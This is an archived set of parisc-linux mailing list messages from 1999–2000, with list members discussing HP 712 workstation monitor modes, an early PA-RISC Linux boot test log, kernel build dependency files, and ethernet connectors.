Original-Received: (qmail 1403 invoked from network); 17 Mar 2000 20:11:47 -0000
Original-Received: from unknown (HELO bramah.tgate.weber.edu) (137.190.3.235)
  by mailserv2.iuinc.com with SMTP; 17 Mar 2000 20:11:47 -0000
Original-Received: from cc.weber.edu (localhost [127.0.0.1])
	by bramah.tgate.weber.edu (8.8.8/8.8.8) with ESMTP id NAA00363
	for <parisc-linux@thepuffingroup.com>; Fri, 17 Mar 2000 13:17:17 GMT
	(envelope-from rfleming@cc.weber.edu)
Original-Sender: rob@bramah.tgate.weber.edu
X-Mailer: Mozilla 4.5 [en] (X11; I; FreeBSD 2.2.8-RELEASE i386)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7054


    I realize that this may not be a question that can be answered from
the group, but here goes.
I bought a schools old machine 712/60 to be exact.  I tried booting it
from home and found that my monitor doesn't work well with the graphics
cards initial settings.  (Completely unreadable).  I took it to work one
afternoon and it boots to the point where HPUX tries reading the
licences for the machine and dies.  Does anyone know how to change the
graphics boot mode?  I not longer have the option use the other monitor
at work to try and fix so I will take any suggestions.

Rob

   ___  ___       __         |  Name  : Robert Fleming
  /  / /  /____  (__)__  ___ | E-mail : rfleming@cc.weber.edu
 /  /_/  /  _  \/  /\  \/  / |    day : Solaris, HP-UX, Linux, WinNT, Novell
 \___,__/__//__/__/ /__/\__\ |  night : FreeBSD-Current, OpenLinux, Mandrake




From - Thu Nov 08 21:12:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Boot #4 and source on ftp site
Date: Fri, 12 Mar 1999 15:03:46 -0800
Lines: 108
Approved: news@gmane.org
Message-ID: <199903122303.PAA08417@milano.cup.hp.com>
References: <199903112235.QAA05851@equator.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618842 31524 80.91.229.3 (22 Nov 2014 01:14:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:02 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Mar 12 18:04:31 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id SAA31426
	for <hppa-linux@sod.res.cmu.edu>; Fri, 12 Mar 1999 18:04:30 -0500
Original-Received: (qmail 21609 invoked by uid 15267); 12 Mar 1999 23:04:04 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 21602 invoked from network); 12 Mar 1999 23:04:04 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 12 Mar 1999 23:04:04 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.13.185.124])
	by palrel1.hp.com (8.8.6/8.8.5tis) with ESMTP id PAA00975
	for <hppa-linux@thepuffingroup.com>; Fri, 12 Mar 1999 15:04:18 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id PAA08417 for <hppa-linux@thepuffingroup.com>; Fri, 12 Mar 1999 15:03:48 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 11 Mar 1999 16:35:15 PST."
             <199903112235.QAA05851@equator.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7055

Jason Eckhardt wrote:
> 
> Boot test #4: This is essentially the same code as #3 but I have taken
> out some delays, modified the cache flush routines, and turned
...

Works on a fairly new 9000/782/C200+
[Party!]

cheers,
grant


Firmware Version  6.1

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  I/D Cache
  ---------  --------   ---------------------  -----------------  -------------
      0      200 MHz    Active                 Functional         512 KB/1 MB

  Central Bus Speed (in MHz) :        120

  Available memory (bytes)    : 268435456
  Good memory required (bytes):   21610496
  Primary boot path:    PCI1.13.0
  Alternate boot path:  SESCSI.2.0
  Console path:         GSC1.0.0
  Keyboard path:        PS2

CPU 0
WARNING:  Self tests have been disabled as a result of FASTBOOT
          being enabled.  To enable self tests, use the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.
WARNING:  Memory has been initialized, but not tested as a result of
          FASTBOOT being enabled.  To test memory, use the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.


------- Main Menu -------------------------------------------------------------

        Command                         Description
        -------                         -----------
        BOot [PRI|ALT|<path>]           Boot from specified path
        PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path
        SEArch [DIsplay|IPL] [<path>]   Search for boot devices

        COnfiguration [<command>]       Access Configuration menu/commands
        INformation [<command>]         Access Information menu/commands
        SERvice [<command>]             Access Service menu/commands

        DIsplay                         Redisplay the current menu
        HElp [<menu>|<command>]         Display help for menu or command
        RESET                           Restart the system
-------
Main Menu: Enter command > pa

  Primary boot path:    PCI1.13.0

  Alternate boot path:  SESCSI.2.0

  Console path:         GSC1.0.0

  Keyboard path:        PS2

Main Menu: Enter command > bo pci1.12.0
Interact with IPL (Y, N, Q)?> n

Booting...
Boot IO Dependent Code (IODC) revision 1


HARD Booted.

------------------------------------------------------------------------------

PARISC/Linux Bootstrap Version 0.2 (non-interactive)
By Jason Eckhardt
Built Thu Mar 11 16:01:50 CST 1999 by jason@sathanas

IPL_DEBUG: Page zero parameters:
  P0_IMM_max_mem:          268435456 (256 MB)
  P0_BOOTCPU_10msec:       2000000 (200 MHz)
  P0_BOOTCPU_mem_free:     0x0000C000
  P0_BOOTCPU_hpa:          0xFFFA0000
  P0_BOOTCPU_pdc:          0x00008000
  P0_COUT_iodc_io:         0x0000C000
  P0_CIN_iodc_io:          0x0000C000
  P0_BOOTDEV_iodc_io:      0x00016000
  P0_COUT_class:           0x00000007
  P0_CIN_class:            0x00000007
  P0_BOOTDEV_class:        0x00000001
Reading parameters...done.
Size = 28672 bytes, entry = 0x00001000, location = 0x0002B040.
Loading kernel...done.
Transferring control to kernel.

*********************************************************

VMLINUX 0.0: Dummy kernel image loaded and executing!


It is now safe to reboot.


From - Thu Nov 08 21:12:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Nathaniel F. Thompson" <haplo@frii.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60
Date: Fri, 17 Mar 2000 18:17:36 -0700 (MST)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.10.10003171815510.15487-100000@io.frii.com>
References: <38D2305D.697A44C7@cc.weber.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618842 31529 80.91.229.3 (22 Nov 2014 01:14:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:02 +0000 (UTC)
Cc: PA-risc Linux <parisc-linux@thepuffingroup.com>
To: rob fleming <rfleming@cc.weber.edu>
Original-X-From: haplo@frii.com  Fri Mar 17 19:48:12 2000
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id TAA27946
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Mar 2000 19:48:12 -0700
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by atlrel2.hp.com (Postfix) with SMTP id 12E63F9B
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Mar 2000 20:25:02 -0500 (EST)
Original-Received: (qmail 23942 invoked by uid 15267); 18 Mar 2000 01:17:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23932 invoked from network); 18 Mar 2000 01:17:40 -0000
Original-Received: from io.frii.com (root@216.17.128.3)
  by mailserv2.iuinc.com with SMTP; 18 Mar 2000 01:17:40 -0000
Original-Received: from localhost (haplo@localhost)
	by io.frii.com (8.9.3/8.9.3) with ESMTP id SAA15570;
	Fri, 17 Mar 2000 18:17:36 -0700 (MST)
X-Authentication-Warning: io.frii.com: haplo owned process doing -bs
In-Reply-To: <38D2305D.697A44C7@cc.weber.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:7056


The easiest way to change the monitor options is to hit the tab key to
cycle through the resolutions and frequencies.

Nate

On Fri, 17 Mar 2000, rob fleming wrote:

> 
>     I realize that this may not be a question that can be answered from
> the group, but here goes.
> I bought a schools old machine 712/60 to be exact.  I tried booting it
> from home and found that my monitor doesn't work well with the graphics
> cards initial settings.  (Completely unreadable).  I took it to work one
> afternoon and it boots to the point where HPUX tries reading the
> licences for the machine and dies.  Does anyone know how to change the
> graphics boot mode?  I not longer have the option use the other monitor
> at work to try and fix so I will take any suggestions.
> 
> Rob
> 
>    ___  ___       __         |  Name  : Robert Fleming
>   /  / /  /____  (__)__  ___ | E-mail : rfleming@cc.weber.edu
>  /  /_/  /  _  \/  /\  \/  / |    day : Solaris, HP-UX, Linux, WinNT, Novell
>  \___,__/__//__/__/ /__/\__\ |  night : FreeBSD-Current, OpenLinux, Mandrake
> 
> 
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 


From - Thu Nov 08 21:12:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] .depend file for drivers/gsc?
Date: Sat, 18 Mar 2000 00:19:42 -0800
Lines: 30
Approved: news@gmane.org
Message-ID: <200003180819.AAA13972@milano.cup.hp.com>
References: <20000312203927.G5281@abacus.local>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618843 31531 80.91.229.3 (22 Nov 2014 01:14:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:03 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@inwestnet.de>
Original-X-From: grundler@cup.hp.com  Sat Mar 18 02:16:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA30207
	for <parisc-linux@puffin.external.hp.com>; Sat, 18 Mar 2000 02:16:22 -0700
Original-Received: (qmail 3868 invoked by uid 15267); 18 Mar 2000 08:17:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3861 invoked from network); 18 Mar 2000 08:17:47 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 18 Mar 2000 08:17:47 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel1.hp.com (Postfix) with ESMTP id E5E9598CA
	for <parisc-linux@thepuffingroup.com>; Sat, 18 Mar 2000 03:17:46 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id AAA13972; Sat, 18 Mar 2000 00:19:43 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sun, 12 Mar 2000 20:39:27 PST."
             <20000312203927.G5281@abacus.local> 
Xref: news.gmane.org gmane.linux.ports.parisc:7057

Philipp Rumpf wrote:
> just so the number of misunderstandments doesn't get too large, we are
> talking about .gsc.o.flags here.  Grant, could you check it is indeed
> not generated by "make dep" ?

I might be confused about how the dependencies are worked out.
I thought "make dep" created ".depend" files.
And the ".depend" file is included by the local makefile.

Anyway, is this what you wanted to know?
# ls -l drivers/gsc/.gsc.o.flags
-rw-rw----   1 grundler users         276 Mar 11 11:32 drivers/gsc/.gsc.o.flags

# rm drivers/gsc/.gsc.o.flags
# make dep
...
# ls -l drivers/gsc/.gsc.o.flags
ls: drivers/gsc/.gsc.o.flags: No such file or directory
# ls -l drivers/*/.depend
-rw-rw----   1 grundler users        9721 Mar 18 00:10 drivers/atm/.depend
-rw-rw----   1 grundler users       57571 Mar 18 00:09 drivers/block/.depend
-rw-rw----   1 grundler users       10597 Mar 18 00:09 drivers/cdrom/.depend
-rw-rw----   1 grundler users      101373 Mar 18 00:09 drivers/char/.depend
...



thanks,
grant


From - Thu Nov 08 21:12:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rob fleming <rfleming@cc.weber.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60
Date: Mon, 20 Mar 2000 01:54:05 +0000
Lines: 44
Approved: news@gmane.org
Message-ID: <38D584BD.A744CC3F@cc.weber.edu>
References: <38D2305D.697A44C7@cc.weber.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618843 31535 80.91.229.3 (22 Nov 2014 01:14:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:03 +0000 (UTC)
To: PA-risc Linux <parisc-linux@thepuffingroup.com>
Original-X-From: rfleming@cc.weber.edu  Mon Mar 20 02:46:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA14606
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Mar 2000 02:46:56 -0700
Original-Received: (qmail 1829 invoked by uid 15267); 20 Mar 2000 08:48:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1799 invoked from network); 20 Mar 2000 08:48:23 -0000
Original-Received: from unknown (HELO bramah.tgate.weber.edu) (137.190.3.232)
  by mailserv2.iuinc.com with SMTP; 20 Mar 2000 08:48:23 -0000
Original-Received: from cc.weber.edu (localhost [127.0.0.1])
	by bramah.tgate.weber.edu (8.8.8/8.8.8) with ESMTP id BAA00492
	for <parisc-linux@thepuffingroup.com>; Mon, 20 Mar 2000 01:54:06 GMT
	(envelope-from rfleming@cc.weber.edu)
Original-Sender: rob@bramah.tgate.weber.edu
X-Mailer: Mozilla 4.5 [en] (X11; I; FreeBSD 2.2.8-RELEASE i386)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7058

rob fleming wrote:

>     I realize that this may not be a question that can be answered from
> the group, but here goes.
> I bought a schools old machine 712/60 to be exact.  I tried booting it
> from home and found that my monitor doesn't work well with the graphics
> cards initial settings.  (Completely unreadable).  I took it to work one
> afternoon and it boots to the point where HPUX tries reading the
> licences for the machine and dies.  Does anyone know how to change the
> graphics boot mode?  I not longer have the option use the other monitor
> at work to try and fix so I will take any suggestions.
>
> Rob
>
>    ___  ___       __         |  Name  : Robert Fleming
>   /  / /  /____  (__)__  ___ | E-mail : rfleming@cc.weber.edu
>  /  /_/  /  _  \/  /\  \/  / |    day : Solaris, HP-UX, Linux, WinNT, Novell
>  \___,__/__//__/__/ /__/\__\ |  night : FreeBSD-Current, OpenLinux, Mandrake
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

I found a solution.   The problem is that the boot rom (1.3) has an option
built in to define the graphics mode to be supported while it works out what os
or configuration to boot.   "monitor X" is specified if you hit ESC before it
boots the os and you then have the option of choosing 1 .. X monitor
freequencies.  They are then used from that point on when the machines is
turned on.   I tried the tab key but I guessing this has something to do with
either x or the os which aren't on this machine.  Aparently I accidentally
nuked the drive some time ago and had forgotten about it.   I tore into the
case on this one looking for dip switches which were no where to be found.   In
fact this machine hasn't any jumpers at all the board is clean of then.

Rob

--
   ___  ___       __         |  Name  : Robert Fleming
  /  / /  /____  (__)__  ___ | E-mail : rfleming@cc.weber.edu
 /  /_/  /  _  \/  /\  \/  / |    day : Solaris, HP-UX, Linux, WinNT, Novell
 \___,__/__//__/__/ /__/\__\ |  night : FreeBSD-Current, OpenLinux, Mandrake




From - Thu Nov 08 21:12:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rob fleming <rfleming@cc.weber.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Neat hardware on 712.
Date: Mon, 20 Mar 2000 02:12:55 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <38D58926.5CF3A9D3@cc.weber.edu>
References: <38C73A40.968A77C1@cln.etc.bc.ca> <00bd01bf89e5$35755020$4c50fb8d@corpnorth.baynetworks.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618843 31538 80.91.229.3 (22 Nov 2014 01:14:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:03 +0000 (UTC)
To: parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: rfleming@cc.weber.edu  Mon Mar 20 03:05:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA14891
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Mar 2000 03:05:44 -0700
Original-Received: (qmail 7304 invoked by uid 15267); 20 Mar 2000 09:07:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7293 invoked from network); 20 Mar 2000 09:07:11 -0000
Original-Received: from unknown (HELO bramah.tgate.weber.edu) (137.190.3.232)
  by mailserv2.iuinc.com with SMTP; 20 Mar 2000 09:07:11 -0000
Original-Received: from cc.weber.edu (localhost [127.0.0.1])
	by bramah.tgate.weber.edu (8.8.8/8.8.8) with ESMTP id CAA00601
	for <parisc-linux@thepuffingroup.com>; Mon, 20 Mar 2000 02:12:55 GMT
	(envelope-from rfleming@cc.weber.edu)
Original-Sender: rob@bramah.tgate.weber.edu
X-Mailer: Mozilla 4.5 [en] (X11; I; FreeBSD 2.2.8-RELEASE i386)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7059

Just another thing to think about.  The 712 has some other features I posted a monitor issue under 712/60 a few days ago listing a problem and solution.  I also found that though most think the light on the case next to the power button is there for looks is has a warning function similar to what was posted about the monitor and the missing card.   I have found that if and OS is not on the disk you will get a blinking light messaging
something wrong.   Just thought I would throw that out there.

Rob

--
   ___  ___       __         |  Name  : Robert Fleming
  /  / /  /____  (__)__  ___ | E-mail : rfleming@cc.weber.edu
 /  /_/  /  _  \/  /\  \/  / |    day : Solaris, HP-UX, Linux, WinNT, Novell
 \___,__/__//__/__/ /__/\__\ |  night : FreeBSD-Current, OpenLinux, Mandrake




From - Thu Nov 08 21:12:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bheadley@prismalink.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Notice that pre2 is out
Date: Mon, 20 Mar 2000 08:12:37 -0600
Organization: Prisma & Company
Lines: 16
Approved: news@gmane.org
Message-ID: <38D631D4.2DC7A04@prismalink.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618844 31541 80.91.229.3 (22 Nov 2014 01:14:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:04 +0000 (UTC)
To: parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: bheadley@prismalink.com  Mon Mar 20 08:17:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA17812
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Mar 2000 08:17:21 -0700
Original-Received: (qmail 20149 invoked by uid 15267); 20 Mar 2000 14:18:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20142 invoked from network); 20 Mar 2000 14:18:51 -0000
Original-Received: from neuman.interaccess.com (207.70.126.130)
  by mailserv2.iuinc.com with SMTP; 20 Mar 2000 14:18:51 -0000
Original-Received: from prismalink.com (IDENT:bheadley@d253.focal2.interaccess.com [207.208.137.253])
	by neuman.interaccess.com (8.9.0/8.9.0) with ESMTP id IAA05720
	for <parisc-linux@thepuffingroup.com>; Mon, 20 Mar 2000 08:18:49 -0600 (CST)
Original-Sender: bheadley@neuman.interaccess.com
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7060

Arrived sometime Sunday. Lots of file movement; don't know what changed
yet. I was up to drivers/char with pre1, and expect I can apply
pre1_to_pre2 patches without much harm. Sunday was mostly a "get 6.2
beta working/get the 735 working". The latter is done, and it boots
10.20 and generally looks smug with itself. So that's good; gives me a
real machine to test merged baseline with. The x86 machine I was putting
6.2 on died, perhaps for the last time. I have an old RS/6000 that needs
a port that can take it's slot very easily...

--
Bryan W. Headley                     Phone: 312/913-9158
Chief Technology Officer             Fax:   312/913-9155
Prisma & Company                     Email: bheadley@prismalink.com




From - Thu Nov 08 21:12:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T.J.Yang" <tjyang@myrealbox.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Need second ethernet card connector on a 712 hp wks
Date: Mon, 20 Mar 2000 14:19:37 GMT
Lines: 20
Approved: news@gmane.org
Message-ID: <20000320141940.20659.qmail@mailserv2.iuinc.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618844 31546 80.91.229.3 (22 Nov 2014 01:14:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:04 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: tjyang@myrealbox.com  Mon Mar 20 08:18:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA17915
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Mar 2000 08:18:10 -0700
Original-Received: (qmail 20660 invoked by uid 15267); 20 Mar 2000 14:19:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20645 invoked from network); 20 Mar 2000 14:19:40 -0000
Original-Received: from unknown (HELO myrealbox.com) (192.108.102.201)
  by mailserv2.iuinc.com with SMTP; 20 Mar 2000 14:19:40 -0000
Original-Received: from tjyang [206.191.36.2] by myrealbox.com
	with Novell Internet Messaging System Web Client; Mon, 20 Mar 2000 07:19:37
X-Sender: Novell Internet Messaging System Web Client
Xref: news.gmane.org gmane.linux.ports.parisc:7061

Hi, there

I am lucky enough to acquire a 712/100 machine with second
ethernet card(both AUI/RS232) on it. But the problem is 
that I can't find the connector for it.

It has three rows of pins (9+9+8) while the reqular
AUI is 8+7. 

The system is running 10.20 and lan1 is congiured to
be 192.168.2.1 and accpeted the ping back.

Anybody know where can I find the connector(adpator) ?

So close yet so far !!!

Thanks in advance

tj


From - Thu Nov 08 21:12:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T.J.Yang" <tjyang@myrealbox.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 712 wks owner/technical on-line documentation ?
Date: Mon, 20 Mar 2000 14:29:47 GMT
Lines: 10
Approved: news@gmane.org
Message-ID: <20000320142950.26589.qmail@mailserv2.iuinc.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618844 31550 80.91.229.3 (22 Nov 2014 01:14:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:04 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: tjyang@myrealbox.com  Mon Mar 20 08:28:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA18146
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Mar 2000 08:28:21 -0700
Original-Received: (qmail 26590 invoked by uid 15267); 20 Mar 2000 14:29:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26579 invoked from network); 20 Mar 2000 14:29:50 -0000
Original-Received: from unknown (HELO myrealbox.com) (192.108.102.201)
  by mailserv2.iuinc.com with SMTP; 20 Mar 2000 14:29:50 -0000
Original-Received: from tjyang [206.191.36.2] by myrealbox.com
	with Novell Internet Messaging System Web Client; Mon, 20 Mar 2000 07:29:47
X-Sender: Novell Internet Messaging System Web Client
Xref: news.gmane.org gmane.linux.ports.parisc:7062

Hi, again

I tried very hard to locate the 712 wks manuals on 
http://docs.hp.com/hpux/systems/ with no luck.

Anyone can give me a pointer where to find it ?


tj


From - Thu Nov 08 21:12:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rajiv Dighe" <rdighe@nortelnetworks.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Need second ethernet card connector on a 712 hp wks
Date: Mon, 20 Mar 2000 09:36:00 -0500
Organization: Nortel Networks
Lines: 4
Approved: news@gmane.org
Message-ID: <009501bf9279$9d4f9600$4c50fb8d@corpnorth.baynetworks.com>
References: <20000320141940.20659.qmail@mailserv2.iuinc.com>
Reply-To: "Rajiv Dighe" <rdighe@nortelnetworks.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618845 31553 80.91.229.3 (22 Nov 2014 01:14:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:05 +0000 (UTC)
To: "T.J.Yang" <tjyang@myrealbox.com>,
        parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: rdighe@nortelnetworks.com  Mon Mar 20 08:36:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA18299
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Mar 2000 08:36:10 -0700
Original-Received: (qmail 31810 invoked by uid 15267); 20 Mar 2000 14:37:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31803 invoked from network); 20 Mar 2000 14:37:39 -0000
Original-Received: from smtprch1.nortelnetworks.com (HELO smtprch1.nortel.com) (192.135.215.14)
  by mailserv2.iuinc.com with SMTP; 20 Mar 2000 14:37:39 -0000
Original-Received: from zcard00m.ca.nortel.com (actually zcard00m) 
          by smtprch1.nortel.com; Mon, 20 Mar 2000 08:35:12 -0600
Original-Received: from zcard00b.ca.nortel.com ([47.128.208.105]) 
          by zcard00m.ca.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) 
          id HAZSPXKN; Mon, 20 Mar 2000 09:34:20 -0500
Original-Received: from netrdighe (NET-RDIGHE [141.251.80.76]) by zcard00b.ca.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) 
          id G4KA66VG; Mon, 20 Mar 2000 09:33:33 -0500
X-Sybari-Space: 00000000 00000000 00000000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
X-MIME-Autoconverted: from base64 to 8bit by puffin.external.hp.com id IAA18299
Xref: news.gmane.org gmane.linux.ports.parisc:7063

Do you know what the part number for the card is? If you can e-mail the part number, it will be helpful in determining what sort of connector is needed.

--Rajiv


From - Thu Nov 08 21:12:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T.J.Yang" <tjyang@myrealbox.com>
Newsgroups: gmane.linux.ports.parisc
